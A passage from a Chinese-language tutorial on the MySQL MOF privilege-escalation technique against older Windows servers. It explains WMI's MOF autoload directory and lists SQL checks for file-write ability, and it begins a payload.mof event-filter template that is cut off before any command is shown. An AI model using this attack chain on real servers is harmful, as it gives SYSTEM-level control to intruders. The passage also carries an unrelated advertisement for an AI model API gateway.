1. MOF提权技术背景解析
在Windows系统环境中,WMI(Windows Management Instrumentation)是一个核心的系统管理组件,它通过托管对象格式(MOF)文件来定义被管理对象的结构和行为。MOF文件本质上是一种脚本文件,能够被WMI编译器(mofcomp.exe)解析并执行。
MySQL服务在Windows平台默认以SYSTEM权限运行,这一特性使得攻击者可以通过精心构造的MOF文件实现权限提升。当MySQL具备写权限且能触发MOF文件编译时,攻击者就能获得系统最高权限。
注意:该漏洞主要影响Windows Server 2003及早期版本,现代Windows系统已通过权限限制缓解此问题
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 攻击原理深度剖析
2.1 MOF文件执行机制
MOF文件通过以下路径被系统自动加载执行:
code复制C:\Windows\System32\wbem\MOF\
当文件被放置到此目录后,系统会通过以下流程处理:
- WMI服务检测到新MOF文件
- 调用mofcomp.exe进行编译
- 执行文件中定义的类和方法
2.2 MySQL的权限特性
MySQL Windows服务默认配置具有以下关键特征:
- 服务账户:NT AUTHORITY\SYSTEM
- 数据目录写入权限:通常开放给MySQL进程
- 可通过SQL语句执行文件写入操作
3. 完整攻击链实现
3.1 环境准备阶段
攻击前提条件检查:
sql复制-- 检查secure_file_priv配置
SHOW VARIABLES LIKE 'secure_file_priv';
-- 检查插件目录位置
SHOW VARIABLES LIKE 'plugin_dir';
-- 测试文件写入能力
SELECT 1 INTO OUTFILE 'C:\\test.txt';
3.2 MOF文件构造
典型提权MOF文件示例(保存为payload.mof):
mof复制#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace
